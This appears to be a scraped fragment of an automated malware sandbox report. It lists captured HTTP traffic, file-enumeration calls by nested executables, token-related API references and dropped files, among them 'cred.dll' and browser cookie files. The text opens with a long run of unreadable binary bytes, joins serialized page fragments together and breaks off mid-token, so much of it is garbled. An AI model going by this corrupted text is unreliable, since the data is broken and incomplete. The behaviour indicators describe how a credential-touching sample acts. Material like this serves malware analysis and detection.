��}::��M@��8��M7��-#-�fC^c,�{�/"�z��%A�R��mb��E��a��(�`;9�#:��W<�萨"'�*��[�nm4֛��Yu��hq_#b�NT��$�tddJ�=#f��oe��\�%֙Ɲh��q��\�ʝ�sG��y��z�ć�r�R�+��q�R�Յ�w�y��{VU�@��t�L�0��}M��?��hY��a��]�4;�FQ��ď��aHy��h�"+��R�KBM8��Z��W*�_��n�WϼD��yg��q�Z�%X�4<�y��gX�]��N*��,\[�E_�K��U��̀�S῅�{;4��}�R�Պ��E��Evz�t��+��b�}C߳��$��Z��.��hѩ�4}�=8�0VTeG�+��ή�N��벜_~�>��&��fyv<��Tj��aB?ߩ%��OK9�}��-��C��3["��O�f��J�{��<�=_�I%_΃��[��3�lО�3��[mMo�uш��.\��t��z��E8d�I"*#�Z��%��"�� p�K{i��@ߍ�# ԮګHe�)}g��m��e��@�N#�{��aڇ��XY��J@;�U�cp��FPL#��ʲ�h�㰲E��cbC��M@5D�}-�H��dN�1�&ZO��9��S��͉�4��FA�1��zHc3b9�\�]��ʚ�Dl��Z!�5��gK��l明'�@g�d4n��ĕ]ƥ�$��1C�-/�j�/��؁��.Q"\sL��n2�<�:��V��[��N�1V�A�A��/Ɉj0�u9u�]�h�e2`D�_��*a_�J�.l�l!/��̀��8�^��b]��v��c�ߚ�5Q׷�%��>�yA2H4�}-�qeF�#�m��|��)"{��f2�}8�a�⦴D�Kz6sBo��'�r��ˬ��q2ܹVh��r��!#$/��ڠ$��|I}�3&)Vw��0��vޱ|*��#�T�B��{-��U�Ecv�L�ͱ��r��.�j�F3��D�KyR��ɏ��@��u��y�̮[��A�iugĒJ��i��\87OՅ4v�g}�|��ȍ�� ?V}R <�8P��R��&��j��X�G�OO��8�b\{��h��p'��8�% ޠMs�4�X�T m|�Q��Lܮ�ť�Z��g��ۊ�f�"5b:T657,Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 204 No ContentContent-Length: 0Cross-Origin-Resource-Policy: cross-originDate: Thu, 19 Oct 2023 13:07:46 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 204 No ContentContent-Length: 0Cross-Origin-Resource-Policy: cross-originDate: Thu, 19 Oct 2023 13:08:49 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/yb/r/hLRJ1GG_y0J.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Thu, 12 Oct 2023 16:22:22 GMTExpires: Fri, 11 Oct 2024 16:22:22 GMTAge: 593116Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL")5c:T430,"file.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00002148) "file.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002148) "file.exe" called "FindNextFileW" with parameter 6tx9CA7.exe (UID: 00000000-00002148) "file.exe" called "FindNextFileW" with parameter VH4vX77.exe (UID: 00000000-00002148) "VH4vX77.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00003616) "VH4vX77.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003616) "VH4vX77.exe" called "FindNextFileW" with parameter 5Pa4Mj0.exe (UID: 00000000-00003616) "VH4vX77.exe" called "FindNextFileW" with parameter ro8sA21.exe (UID: 00000000-00003616) "VH4vX77.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00003616) "VH4vX77.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00003616) "ro8sA21.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00002904) "ro8sA21.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002904)5d:T609,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "file") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "file") Found reference to API "GetUserName" (Indicator: "GetUserName"; File: "00000000-00000600.00000000.67183.00AA2000.00000020.mdmp") Found reference to API "GetUserName" (Indicator: "GetUserName"; Source: "00000000-00000600.00000000.67183.00AA2000.00000020.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000600.00000000.67183.00AA2000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "NtOpenProcessToken"; Source: "00000000-00001716.00000001.72122.00C91000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001716.00000001.72122.00C91000.00000020.mdmp") Found reference to API "NtQueryInformationToken" (Indicator: "NtQueryInformationToken"; Source: "00000000-00001716.00000001.72122.00C91000.00000020.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00001980.00000001.67889.0130A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001980.00000001.67889.0130A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001980.00000001.67889.0130A000.00000002.mdmp")5e:T1393,Dropped file: "cred.dll" - Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00003972] Dropped file: "F816Q9GL.js" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\F816Q9GL.js]- [targetUID: 00000000-00002812] Dropped file: "WAR53PJI.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\WAR53PJI.htm]- [targetUID: 00000000-00003140] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00003140] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00003140] Dropped file: "A3E6546D43CF3C4D85B14CC51DAFA332" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A3E6546D43CF3C4D85B14CC51DAFA332]- [targetUID: 00000000-00002812] Dropped file: "C88418EDBE65AF3960916D9E8011370D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C88418EDBE65AF3960916D9E8011370D]- [targetUID: 00000000-00002812] Dropped file: "739F2FF4259CDC6CBE7B90F1A95601EF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00001064] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003140] Dropped file: "646C991C2A28825F3CC56E0A1D1E3FA9" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00002812] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002812] Dropped file: "4748633DC5731827D4B432DBAC7A3ECE" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00002812] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00001064] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00002812] Dropped file: "G3FVFRH2.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\G3FVFRH2.txt]- [targetUID: 00000000-00003140] Dropped file: "A16C6C16D94F76E0808C087DFC657D99_A7C147C73ED1DF7D9D054EF28CB47FB4" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_A7C147C73ED1DF7D9D054EF28CB47FB4]- [targetUID: 00000000-00002812] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_FB62582620B675746ACDA9D6C386C492" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_FB62582620B675746ACDA9D6C386C492]- [targetUID: 00000000-00001064] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00003140] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00003140] Dropped file: "E87CE99F124623F95572A696C80EFCAF_9EBD80E624B865607A21974E30809640" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9EBD80E624B865607A21974E30809640]- [targetUID: 00000000-00002812] Dropped file: "E87CE99F124623F95572A696C80EFCAF_7D28090A46C74E41A9A3E66B91EADD47" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_7D28090A46C74E41A9A3E66B91EADD47]- [targetUID: 00000000-00002812] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003140] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00001064] Dropped file: "HB2G7LF0.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\HB2G7LF0.txt]- [targetUID: 00000000-00003140] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00003140]5f:Tc007,"initAft()